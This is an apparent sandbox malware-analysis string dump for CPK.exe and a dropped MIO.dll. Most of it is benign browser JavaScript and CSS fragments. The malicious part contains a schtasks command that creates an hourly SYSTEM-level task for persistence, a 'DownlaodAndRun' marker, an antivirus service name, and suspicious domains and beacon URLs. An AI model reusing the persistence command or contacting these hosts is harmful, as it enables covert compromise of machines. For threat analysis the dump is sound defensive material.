Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
list.style['position'] = 'absolute'; list.style['opacity'] = '0'; this.hideSinkListForAnimation_ = false; finalHeight += list.offsetHeight; list.style['position'] = 'relative'; } else { resultsInitialTop += deviceMis
Ansi based on Runtime Data (CPK.exe )
LoadLibraryExA
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
loadPromise(){if(!this.enabled())return Promise.reject(new Error('Module '+this._name+' is not enabled'));if(this._pendingLoadPromise)return this._pendingLoadPromise;var dependencies=this._descriptor.dependencies;var dependencyPromises=[];for(var i=0;depen
Ansi based on Runtime Data (CPK.exe )
lowio initialization
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
lse);}_update(){SDK.Cookies.getCookiesAsync(this._updateWithCookies.bind(this));}_updateWithCookies(allCookies){this._cookies=this._filterCookiesForDomain(allCookies);if(!this._cookies.length){this._emptyWidget.show(this.element);this._clearButton.setVisib
Ansi based on Runtime Data (CPK.exe )
lstrlenA
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
m.replaceRange(cm.doc.lineSeparator(),range.anchor,range.head,"+input");cm.indentLine(range.from().line+1,null,true);}ensureCursorVisible(cm);});},openLine:function(cm){cm.replaceSelection("\n","start")},toggleOverwrite:function(cm){cm.toggleOverwrite();}};v
Ansi based on Runtime Data (CPK.exe )
Manager.addClockSyncMarker(tr.model.ClockDomainId.BATTOR,syncId,ts);}},importEvents:function(){if(this.model_.device.powerSeries){this.model_.importWarning({type:'import_error',message:'Power counter exists, can not import BattOr power trace.'});return;}var m
Ansi based on Runtime Data (CPK.exe )
me;this.indent=state.indented;this.startOfLine=startOfLine;if(config.doNotIndent.hasOwnProperty(tagName)||(state.context&&state.context.noIndent))this.noIndent=true;}function popContext(state){if(state.context)state.context=state.context.prev;}function m
Ansi based on Runtime Data (CPK.exe )
mergeable)';Polymer({is:'tr-v-ui-histogram-set-table',get tabLabel(){return'Table';},created:function(){this.histograms_=undefined;this.sourceValues_=undefined;this.rows_=undefined;this.columns_=undefined;this.updatingContents_=false;this.displayLabels_=undefi
Ansi based on Runtime Data (CPK.exe )
MessageToPort_(e); } else { this.postToUpperWindow(e.data); } } else if (e.data.type === CHANNEL_CONNECT_MESSAGE) { var channelId = e.data.channelId; var channelName = e.data.channelName; if (this.isDaem
Ansi based on Runtime Data (CPK.exe )
MouseUp_);this.buttonsEl_.addEventListener('mousedown',this.onButtonMouseDown_);this.buttonsEl_.addEventListener('click',this.onButtonPress_.bind(this));},attached:function(){document.addEventListener('keydown',this.onKeyDown_);document.addEventListener('keyup
Ansi based on Runtime Data (CPK.exe )
n be animated. The listener will only be added to a given section * once, so this can be called as multiple times. * @param {HTMLElement} section The section to be animated. * @private */ addTransitionEndListener_: function(section) {
Ansi based on Runtime Data (CPK.exe )
Name=tableName;}get itemURL(){return'database://'+encodeURI(this._database.name)+'/'+encodeURI(this._tableName);}onselect(selectedByUser){super.onselect(selectedByUser);this._storagePanel._showDatabase(this._database,this._tableName);return false;}};Resour
Ansi based on Runtime Data (CPK.exe )
NameServer
Unicode based on Runtime Data (CPK.exe )
nction(node){return node.__dom&&node.__dom.previousSibling!==undefined?this._getPreviousElementSibling(node):node.previousElementSibling;},_getPreviousElementSibling:function(node){var n=node.__dom.previousSibling;while(n&&n.nodeType!==Node.ELEMENT_NODE){n=n._
Ansi based on Runtime Data (CPK.exe )
ner.active { -webkit-animation: container-rotate var(--paper-spinner-container-rotation-duration) linear infinite; animation: container-rotate var(--paper-spinner-container-rotation-duration) linear infinite;}@-webkit-keyframes container-rotate {
Ansi based on Runtime Data (CPK.exe )
nexit/atexit table
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
ngth;i++)this._counterUI[i]._drawGraph(this._canvas);}_onClick(event){var x=event.x-this._canvasContainer.totalOffsetLeft();var minDistance=Infinity;var bestTime;for(var i=0;i<this._counterUI.length;++i){var counterUI=this._counterUI[i];if(!counterUI.count
Ansi based on Runtime Data (CPK.exe )
nInitialSettingsSet_: function(event) { assert(this.uiState_ == PrintPreview.UiState_.INITIALIZING, 'Updating initial settings when not in initializing state: ' + this.uiState_); this.uiState_ = PrintPreview.UiState_.R
Ansi based on Runtime Data (CPK.exe )
nment
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
nSnapshot,error);}_sendUpdateEvent(text){if(this._dispatcher)this._dispatcher.sendEvent(Profiler.HeapSnapshotProgressEvent.Update,text);}};HeapSnapshotWorker.HeapSnapshotProblemReport=class{constructor(title){this._errors=[title];}addError(error){if(this
Ansi based on Runtime Data (CPK.exe )
ntentContainer::after { position: fixed; top: 0; bottom: 0; left: 100%; visibility: visible; width: 20px; content: ''; } :host([swipe-open][position=right]) > #contentContainer::after {
Ansi based on Runtime Data (CPK.exe )
ocument};var columns=[{title:'Layer',value:function(row){if(row.isTotals)return'Totals';if(row.layer){var linkEl=document.createElement('tr-ui-a-analysis-link');linkEl.setSelectionAndContent(function(){return new tr.ui.e.chrome.cc.LayerSelection(costs.layer);
Ansi based on Runtime Data (CPK.exe )
of this source code is governed by a BSD-style license that can be// found in the LICENSE file.var CreateEvent = require('guestViewEvents').CreateEvent;var GuestViewEvents = require('guestViewEvents').GuestViewEvents;function ExtensionOptionsEvents(exten
Ansi based on Runtime Data (CPK.exe )
old_resources.pak
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
omMargins.Orientation.LEFT))); } print_preview.ticket_items.TicketItem.prototype.updateValue.call( this, margins); }, /** * Updates the specified margin in points while keeping the value within * a maximum and minimum.
Ansi based on Runtime Data (CPK.exe )
on, 0.08s); -webkit-transition-timing-function: var(--paper-progress-transition-timing-function, ease); transition-timing-function: var(--paper-progress-transition-timing-function, ease); -webkit-transition-delay: va
Ansi based on Runtime Data (CPK.exe )
on-text !important}select:-internal-list-box:disabled option:checked, select:-internal-list-box option:checked:disabled{color: gray !important}select:-internal-list-box hr{border-style: none}output{display: inline} meter{-webkit-appearance: meter;box-sizing: b
Ansi based on Runtime Data (CPK.exe )
onsInfo( {includeDisabled: true, includeTerminated: true}, function(extensions) { /** @private {Array<chrome.developerPrivate.ExtensionInfo>} */ this.extensions_ = extensions; for (let extension of extensions)
Ansi based on Runtime Data (CPK.exe )
OpenProcess
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
operty we are defining the setter * for. * @param {PropertyKind} kind The kind of property we are getting the * setter for. * @param {function(*, *):void=} opt_setHook A function to run after the * property is set, but before the pro
Ansi based on Runtime Data (CPK.exe )
orkerUpdateOnReload',false);if(this._forceUpdateSetting.get())this._forceUpdateSettingChanged();this._forceUpdateSetting.addChangeListener(this._forceUpdateSettingChanged,this);new SDK.ServiceWorkerContextNamer(target,this,subTargetsManager);}enable(){if(t
Ansi based on Runtime Data (CPK.exe )
oundOpacity:0.8};return new tr.ui.tracks.ChartSeries(idToTimestampToPoint[id],seriesYAxis,renderingConfig);});series.reverse();return series;}function buildMemoryLetterDots(memoryDumps){var backgroundMemoryColorId=ColorScheme.getColorIdForReservedName('backgr
Ansi based on Runtime Data (CPK.exe )
ource code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n */\n\n.search-drawer-header {\n flex: none;\n display: flex;\n border-bottom: 2px solid #e8e8e8;\n white-space: nowrap;\n overflow: hidden;\n}\n\n.search-
Ansi based on Runtime Data (CPK.exe )
ources/html/i18n_behavior.html"><link rel="import" href="chrome://resources/polymer/v1_0/paper-button/paper-button.html"><link rel="import" href="../../icons/media_router_icons.html"><dom-module name="issue-banner"> <link rel="import" type="css" href="../
Ansi based on Runtime Data (CPK.exe )
own error
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
particular index. * @param {number} index The index of the card to return. * @return {!Element} The card at the given index. */ getCardAtIndex: function(index) { this.assertValidIndex_(index); return this.cards_[index]; },
Ansi based on Runtime Data (CPK.exe )
pe:"text",maxLength:void 0,defaultValue:void 0},Hd:{id:"nonInteraction",name:"ni",valueType:"boolean",maxLength:void 0,defaultValue:void 0},qd:Ha,$d:{id:"title",name:"dt",valueType:"text",maxLength:1500,defaultValue:void 0},bd:{id:"appId",name:"aid",valueType
Ansi based on Runtime Data (CPK.exe )
perties(callback){this.doGetProperties(true,false,false,callback);}getAllProperties(accessorPropertiesOnly,callback){this.doGetProperties(false,accessorPropertiesOnly,false,callback);}eventListeners(){return new Promise(eventListeners.bind(this));function
Ansi based on Runtime Data (CPK.exe )
plitWidget.setSidebarWidget(splitWidget);this._currentSplitWidget.showBoth();}var lastSplitWidget=this._currentSplitWidget;this._currentSplitWidget=splitWidget;return lastSplitWidget;}detachChildWidgets(){super.detachChildWidgets();this._currentSplitWidget
Ansi based on Runtime Data (CPK.exe )
pow(t[1],2)+Math.pow(t[2],2)+Math.pow(t[3],2))},e.LDU=function(t,n,r,a){return t[2]=a[2]/a[0],r[0]=a[0],r[1]=a[1],r[3]=a[3]-t[2]*r[1],[t,n,r]},t.exports=e},function(t,n,r){var a=r(1),e={};e.create=function(){var t=new a.ARRAY_TYPE(6);return t[0]=1,t[1]=0,t[2]=
Ansi based on Runtime Data (CPK.exe )
ppression when the extern * Node.prototype.contains() will be fixed. */ handleElementBlur_: function(e) { if (!this.contains(e.relatedTarget)) this.hasElementFocus = false; }, /** * Returns the list item element contai
Ansi based on Runtime Data (CPK.exe )
PrivateKeyLifetimeSeconds
Unicode based on Runtime Data (CPK.exe )
PrivKeyCacheMaxItems
Unicode based on Runtime Data (CPK.exe )
PrivKeyCachePurgeIntervalSeconds
Unicode based on Runtime Data (CPK.exe )
Process32FirstW
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
Process32NextW
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
r params={};var query=unescape(location.search.substring(1));var vars=query.split("&");for(var i=0;i<vars.length;i++){var pair=vars[i].split("=");params[pair[0]]=pair[1]}return params}function setQueryParam(location,key,value){var query=parseQueryParams(locati
Ansi based on Runtime Data (CPK.exe )
r(0.4, 0, 0.2, 1)', // Fast out, slow in. }; /** * Offers a small subset of the v1 Animation interface. The underlying * animation can be reversed, canceled or immediately finished. * @see https://www.w3.org/TR/web-animations-1/#animation *
Ansi based on Runtime Data (CPK.exe )
rd': SHADOW_ALWAYS, 'waterfall': SHADOW_WHEN_SCROLLING, 'waterfall-tall': SHADOW_WHEN_SCROLLING }, tallMode: { 'waterfall-tall': true } }; Polymer({ is: 'paper-header-panel',
Ansi based on Runtime Data (CPK.exe )
RegisterAdapterName
Unicode based on Runtime Data (CPK.exe )
RegistrationEnabled
Unicode based on Runtime Data (CPK.exe )
remove // from the end to not encounter any auto-magic card selections in the // process and we hide the card slider throughout. this.cardSlider.currentCard = 0; // Clear any existing apps pages and dots. // TODO(rbyers): It migh
Ansi based on Runtime Data (CPK.exe )
res the last set of bookmarks that was deleted. */function undoDelete() { lastDeleted.nodes.forEach(function(arr) { arr.forEach(restoreTree); }); lastDeleted = null; $('undo-delete-command').canExecuteChange(); $('undo-delete-from-folders-menu-
Ansi based on Runtime Data (CPK.exe )
result.set(property,SDK.CSSMatchedStyles.PropertyState.Active);}for(var property of style.leadingProperties()){var canonicalName=SDK.cssMetadata().canonicalPropertyName(property.name);if(!styleActiveProperties.has(canonicalName))continue;var longhands=styl
Ansi based on Runtime Data (CPK.exe )
return true;}sidebarElementForProfile(profile){var index=this._sidebarElementIndex(profile);return index===-1?null:this._profileTreeElements[index];}_sidebarElementIndex(profile){var elements=this._profileTreeElements;for(var i=0;i<elements.length;i++){if(
Ansi based on Runtime Data (CPK.exe )
rguments.length === 2 && itemSet) { for (i = 0; i < itemSet.length; i++) { pidx = itemSet[i]; vidx = this._computeVidx(pidx); if ((rtn = fn.call(this, pidx, vidx)) != null) { return rtn; } }
Ansi based on Runtime Data (CPK.exe )
rn validator.validationError.NONE; }; MediaRouter_OnSinkAvailabilityUpdated_Params.encodedSize = codec.kStructHeaderSize + 8; MediaRouter_OnSinkAvailabilityUpdated_Params.decode = function(decoder) { var packed; var val = new MediaRouter
Ansi based on Runtime Data (CPK.exe )
rned by a BSD-style license that can befound in the LICENSE file.We use an HTML page just to have access to the DOM, for URLparsing. An alternative would be to include a URL parsing JavaScriptlibrary with the extension but this approach is likely smaller
Ansi based on Runtime Data (CPK.exe )
ror('Missing frameTimeDiscrepancy for '+ue.stableId);frameTimeDiscrepancyNumeric.addSample(frameTimeDiscrepancy,sampleDiagnosticMap);ue.associatedEvents.forEach(function(event){if(!(event instanceof tr.e.cc.InputLatencyAsyncSlice))return;latencyNumeric.addSa
Ansi based on Runtime Data (CPK.exe )
rovider.reset();this._networkView.scheduleUpdate();}highlightEvent(event){var entryIndex=event?this._dataProvider.entryIndexForSelection(Timeline.TimelineSelection.fromTraceEvent(event)):-1;if(entryIndex>=0)this._mainView.highlightEntry(entryIndex);elset
Ansi based on Runtime Data (CPK.exe )
rtual function call
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
rView=dt.xWorldToView(rightMarker);var distanceBetweenMarkers=interestRange.range;var distanceBetweenMarkersView=dt.xWorldVectorToView(distanceBetweenMarkers);var positionInMiddleOfMarkersView=leftMarkerView+(distanceBetweenMarkersView/2);displayDistance=dista
Ansi based on Runtime Data (CPK.exe )
rySelector('.language-select'); // If the user manually selected a locale, do not change the selection. // Otherwise, select the new |defaultLocale|. var selected = languageSelect.manuallyChanged ? languageSelect.value : defaultLoca
Ansi based on Runtime Data (CPK.exe )
s off of the component. Hides the margin * controls. * @private */ onMouseOut_: function(event) { var toElement = event.toElement; while (toElement != null) { if (toElement == this.getElement()) { return;
Ansi based on Runtime Data (CPK.exe )
s. All rights reserved.// Use of this source code is governed by a BSD-style license that can be// found in the LICENSE file.cr.define("downloads",function(){var Toolbar=Polymer({is:"downloads-toolbar",properties:{downloadsShowing:{reflectToAttribute:true,t
Ansi based on Runtime Data (CPK.exe )
s. All rights reserved.This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txtThe complete set of authors may be found at http://polymer.github.io/AUTHORS.txtThe complete set of contributors may be found at http:
Ansi based on Runtime Data (CPK.exe )
s.a+a,b);++this.b};_.T=function(a){return qh(this,a)};_.U=function(a){z(a,this.b);a=this.c.U(this.a+a);--this.b;return a};_.J=function(){return this.b};_.a=0;_.b=0;t(50);function th(a){a=new kh((new jh(a.a)).a);return new uh(a)}function vh(a){this.a=a}m(65,21
Ansi based on Runtime Data (CPK.exe )
s=vis
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
sAboutBlank()){this._name=this._parsedURL.url;this._path='';}else{this._path=this._parsedURL.host+this._parsedURL.folderPathComponents;var inspectedURL=this.target().inspectedURL().asParsedURL();this._path=this._path.trimURL(inspectedURL?inspectedURL.host:'');
Ansi based on Runtime Data (CPK.exe )
SafeProcessSearchMode
Unicode based on Runtime Data (CPK.exe )
sDialog([data]);p.then(function(){this.timelineView_.model=m;this.timelineView_.updateDocumentFavicon();}.bind(this),function(err){tr.ui.b.Overlay.showError('While importing: ',err);}.bind(this));},initButtons_:function(){this.recordButton_.addEventListener('c
Ansi based on Runtime Data (CPK.exe )
SearchList
Unicode based on Runtime Data (CPK.exe )
singSizeCount>0){var infoQuantifier=missingSizeCount<numerics.length?' '+SOME_TIMESTAMPS_INFO_QUANTIFIER:'';infos.push(tr.ui.analysis.createWarningInfo('Size was not provided'+infoQuantifier+'.'));}},getChildPaneBuilder:function(processMemoryDumps){if(processM
Ansi based on Runtime Data (CPK.exe )
sition based on configured horizontal * and vertical alignment. */ _updateOverlayPosition: function() { if (this.isAttached) { // This triggers iron-resize, and iron-overlay-behavior will call refit if needed.
Ansi based on Runtime Data (CPK.exe )
sition-left: auto; background-position-right: 5em;}.number-collapsed .stat-value { display: none;}.number-expanded .stat-value { display: auto;}</style> <script src="chrome://resources/js/util.js"></script> <script src="chrome://resources
Ansi based on Runtime Data (CPK.exe )
so eliminate extra spacing. */.plugin-details table { -webkit-border-horizontal-spacing: 0; -webkit-border-vertical-spacing: 0;}.plugin-details { -webkit-padding-start: 1em;}/* Separate the inital line, Description, Location, and MIME Types lines.
Ansi based on Runtime Data (CPK.exe )
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Chrome.exe
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
<Product name>
Unicode based on Dropped File (MIO.dll.1862922135)
HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
" type="win32"></assemblyIdentity><description>test</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS></application></compatibility></assembly>
Ansi based on Dropped File (MIO.dll.1862922135)
%ProgramFiles%
Ansi based on Dropped File (MIO.dll.1862922135)
.?AV?$basic_ofstream@DU?$char_traits@D@std@@@std@@
Ansi based on Dropped File (MIO.dll.1862922135)
0- abort() has been called
Unicode based on Dropped File (MIO.dll.1862922135)
019- unable to open console device
Unicode based on Dropped File (MIO.dll.1862922135)
1.0.0.1
Unicode based on Dropped File (MIO.dll.1862922135)
2- floating point support not loaded
Unicode based on Dropped File (MIO.dll.1862922135)
?action=
Ansi based on Dropped File (MIO.dll.1862922135)
aidan
Unicode based on Dropped File (MIO.dll.1862922135)
asks /Run /TN
Ansi based on Dropped File (MIO.dll.1862922135)
avgsvc
Unicode based on Dropped File (MIO.dll.1862922135)
cmd.exe /c scht
Ansi based on Dropped File (MIO.dll.1862922135)
Create /SC HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
cter range, such as [b-a] in most encodings.
Ansi based on Dropped File (MIO.dll.1862922135)
CurrentVe
Unicode based on Dropped File (MIO.dll.1862922135)
CurrentVersion\Uninstall
Unicode based on Dropped File (MIO.dll.1862922135)
de\Microsoft\Windows\
Unicode based on Dropped File (MIO.dll.1862922135)
DeleteFileA
Ansi based on Dropped File (MIO.dll.1862922135)
DisplayName
Unicode based on Dropped File (MIO.dll.1862922135)
e from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Dropped File (MIO.dll.1862922135)
e unknown>
Unicode based on Dropped File (MIO.dll.1862922135)
ected multithread lock error
Unicode based on Dropped File (MIO.dll.1862922135)
empt to initialize the CRT more than once.This indicates a bug in your application.
Unicode based on Dropped File (MIO.dll.1862922135)
ernalName
Unicode based on Dropped File (MIO.dll.1862922135)
ExpandEnvironmentStringsW
Ansi based on Dropped File (MIO.dll.1862922135)
File description>
Unicode based on Dropped File (MIO.dll.1862922135)
FindFirstFileA
Ansi based on Dropped File (MIO.dll.1862922135)
FindNextFileA
Ansi based on Dropped File (MIO.dll.1862922135)
GetFileAttributesA
Ansi based on Dropped File (MIO.dll.1862922135)
htasks /Delete /TN "%s" /F
Unicode based on Dropped File (MIO.dll.1862922135)
http://api.suibianmaimaicom.com/
Ansi based on Dropped File (MIO.dll.1862922135)
http://dhxx2phjrf4w5.cloudfront.net/v4/
Ansi based on Dropped File (MIO.dll.1862922135)
ice failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
iginalFilename
Unicode based on Dropped File (MIO.dll.1862922135)
ileNameW
Ansi based on Dropped File (MIO.dll.1862922135)
indows\
Unicode based on Dropped File (MIO.dll.1862922135)
install
Unicode based on Dropped File (MIO.dll.1862922135)
Installs
Ansi based on Dropped File (MIO.dll.1862922135)
kernel32
Unicode based on Dropped File (MIO.dll.1862922135)
Kernel32.DLL
Unicode based on Dropped File (MIO.dll.1862922135)
known
Unicode based on Dropped File (MIO.dll.1862922135)
L@KV@QDAXSDR
Unicode based on Dropped File (MIO.dll.1862922135)
leVersion
Unicode based on Dropped File (MIO.dll.1862922135)
Milimili
Ansi based on Dropped File (MIO.dll.1862922135)
MIO.exe
Ansi based on Dropped File (MIO.dll.1862922135)
MMM.dll
Ansi based on Dropped File (MIO.dll.1862922135)
mpany name>
Unicode based on Dropped File (MIO.dll.1862922135)
n_2008r2
Unicode based on Dropped File (MIO.dll.1862922135)
n_unknown
Unicode based on Dropped File (MIO.dll.1862922135)
ndEnvironmentStringsW
Ansi based on Dropped File (MIO.dll.1862922135)
nitialize heap
Unicode based on Dropped File (MIO.dll.1862922135)
oductName
Unicode based on Dropped File (MIO.dll.1862922135)
OpenSCManager failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
OpenService failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
ot initialized
Unicode based on Dropped File (MIO.dll.1862922135)
PathAppendW
Ansi based on Dropped File (MIO.dll.1862922135)
r lowio initialization
Unicode based on Dropped File (MIO.dll.1862922135)
r thread data
Unicode based on Dropped File (MIO.dll.1862922135)
raB3G:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
Ansi based on Dropped File (MIO.dll.1862922135)
RE\Mic
Unicode based on Dropped File (MIO.dll.1862922135)
RegEnumKeyExW
Ansi based on Dropped File (MIO.dll.1862922135)
RegQueryInfoKeyW
Ansi based on Dropped File (MIO.dll.1862922135)
RemoveDirectoryA
Ansi based on Dropped File (MIO.dll.1862922135)
RLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
rnel32.dll
Unicode based on Dropped File (MIO.dll.1862922135)
rosoft\Windows\
Unicode based on Dropped File (MIO.dll.1862922135)
rrentVersion\Uninstall
Unicode based on Dropped File (MIO.dll.1862922135)
rsion\Un
Unicode based on Dropped File (MIO.dll.1862922135)
S_VERSION_INFO
Unicode based on Dropped File (MIO.dll.1862922135)
schtasks /Create /SC HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM"
Ansi based on Dropped File (MIO.dll.1862922135)
schtasks /Create /SC HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
schtasks /Delete /TN "%s" /F
Unicode based on Dropped File (MIO.dll.1862922135)
SCManager failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
SCSIDISK
Ansi based on Dropped File (MIO.dll.1862922135)
SOFTWARE\Mic
Unicode based on Dropped File (MIO.dll.1862922135)
SOFTWARE\Wow6432Node\Microsoft\Windows\
Unicode based on Dropped File (MIO.dll.1862922135)
space for stdio initialization
Unicode based on Dropped File (MIO.dll.1862922135)
splayName
Unicode based on Dropped File (MIO.dll.1862922135)
){-jY_x
Ansi based on PCAP Processing (PCAP)
+"d{-jY^
Ansi based on PCAP Processing (PCAP)
+"J]jZ)j:
Ansi based on PCAP Processing (PCAP)
//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1
Ansi based on PCAP Processing (PCAP)
/20170427_UPdateuuu.dat
Ansi based on PCAP Processing (PCAP)
/229c19eea00c7d30a54cbf43ef8fb865
Ansi based on PCAP Processing (PCAP)
/cl/downloader?version=52.0.20.935&channel=official&d=1&userid=VBOXXHARDDISK_VB47a275fd-833fcbff&src=ff
Ansi based on PCAP Processing (PCAP)
/firef/install/52.0.20.935.dat
Ansi based on PCAP Processing (PCAP)
/index.php?uid=vboxxharddisk_vb47a275fd-833fcbff&pid=psgo&ver=2.1.4
Ansi based on PCAP Processing (PCAP)
/index.php?uid=vboxxharddisk_vb47a275fd-833fcbff.dat
Ansi based on PCAP Processing (PCAP)
/provide?clients=205294FCB91F0BD563B0A9FDE9B54EA6&reqs=visit.cpk.install.ed
Ansi based on PCAP Processing (PCAP)
/provide?clients=205294FCB91F0BD563B0A9FDE9B54EA6&reqs=visit.cpk.startload
Ansi based on PCAP Processing (PCAP)
/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload
Ansi based on PCAP Processing (PCAP)
/search/z.php
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.0&update3=version,2.1.4
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=visit.winsap.work&update3=version,2.8.12
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish
Ansi based on PCAP Processing (PCAP)
/v4/service/205294FCB91F0BD563B0A9FDE9B54EA6?action=visit.UpdatesWuApp.heartbeat.462
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.ClearLog.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.CPK.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.Gubed.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.psgo.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.UUUCC.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.WinSnare.1
Ansi based on PCAP Processing (PCAP)
/vboxxharddisk_vb47a275fd-833fcbff.dat
Ansi based on PCAP Processing (PCAP)
/vboxxharddisk_vb47a275fd-833fcbff/psgo/2.1.4
Ansi based on PCAP Processing (PCAP)
/web_report
Ansi based on PCAP Processing (PCAP)
/winsap/up?ptid=winsap&sid=winsap&ln=en_us&ver=2.8.12&uid=VBOXXHARDDISK_VB47a275fd-833fcbff&dp=0
Ansi based on PCAP Processing (PCAP)
0<`zA{_5
Ansi based on PCAP Processing (PCAP)
1u|wm
Ansi based on PCAP Processing (PCAP)
api.suibianmaimaicom.com
Ansi based on PCAP Processing (PCAP)
ASDGQERQTYQW/1.0
Ansi based on PCAP Processing (PCAP)
ccc.qwepoii.org
Ansi based on PCAP Processing (PCAP)
cloud.firefox1.com
Ansi based on PCAP Processing (PCAP)
d1cik3fvaz5q0e.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d2hrpnfyb3wv3k.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d34cz67a0qhhno.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d3gacmsp3jwwnv.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d3i1asoswufp5k.cloudfront.net
Ansi based on PCAP Processing (PCAP)
d4c04g24ci6x7.cloudfront.net
Ansi based on PCAP Processing (PCAP)
dc44qjwal3p07.cloudfront.net
Ansi based on PCAP Processing (PCAP)
dfrs12kz9qye2.cloudfront.net
Ansi based on PCAP Processing (PCAP)
dhxx2phjrf4w5.cloudfront.net
Ansi based on PCAP Processing (PCAP)
DownlaodAndRun
Ansi based on PCAP Processing (PCAP)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Ansi based on PCAP Processing (PCAP)
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5
Ansi based on PCAP Processing (PCAP)
NvBEptCy@:
Ansi based on PCAP Processing (PCAP)
official
Ansi based on PCAP Processing (PCAP)
point.roseiloveyou.com
